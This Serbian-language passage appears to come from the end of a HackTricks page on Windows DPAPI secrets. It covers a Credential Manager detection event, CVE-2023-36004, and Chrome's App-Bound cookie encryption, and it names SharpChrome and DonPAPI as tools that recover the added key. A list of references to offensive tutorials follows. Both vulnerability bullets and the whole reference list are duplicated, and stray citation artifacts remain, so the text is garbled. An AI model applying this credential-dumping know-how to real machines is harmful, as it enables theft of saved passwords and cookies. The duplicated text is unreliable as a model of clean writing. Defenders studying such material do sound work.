- Događaj **4673/4674** kada proces zahteva *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### 2023-2025 ranjivosti i promene u ekosistemu
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (novembar 2023). Napadač sa mrežnim pristupom mogao bi da prevari člana domena da preuzme zlonamerni DPAPI rezervni ključ, omogućavajući dekripciju korisničkih masterkeys. Ispravljeno u novembarskom kumulativnom ažuriranju administratori bi trebali osigurati da su DC-ovi i radne stanice potpuno ažurirani. citeturn4search0
* **Chrome 127 “App-Bound” kolačić enkripcija** (jul 2024) zamenila je staru DPAPI zaštitu dodatnim ključem koji se čuva pod korisnikovim **Credential Manager**. Offline dekripcija kolačića sada zahteva i DPAPI masterkey i **GCM-om obavijen app-bound ključ**. SharpChrome v2.3 i DonPAPI 2.x mogu da povrate dodatni ključ kada se pokreću sa korisničkim kontekstom. citeturn0search0
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (novembar 2023). Napadač sa mrežnim pristupom mogao bi da prevari člana domena da preuzme zlonamerni DPAPI rezervni ključ, omogućavajući dekripciju korisničkih masterključeva. Ispravljeno u novembarskom kumulativnom ažuriranju 2023 administratori bi trebali osigurati da su DC-ovi i radne stanice potpuno ažurirani.
* **Chrome 127 “App-Bound” kolačić enkripcija** (jul 2024) zamenila je staru DPAPI zaštitu dodatnim ključem koji se čuva pod korisnikovim **Credential Manager**. Offline dekripcija kolačića sada zahteva i DPAPI masterključ i **GCM-om obavijen app-bound ključ**. SharpChrome v2.3 i DonPAPI 2.x mogu da povrate dodatni ključ kada se pokreću sa korisničkim kontekstom.
## Reference
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}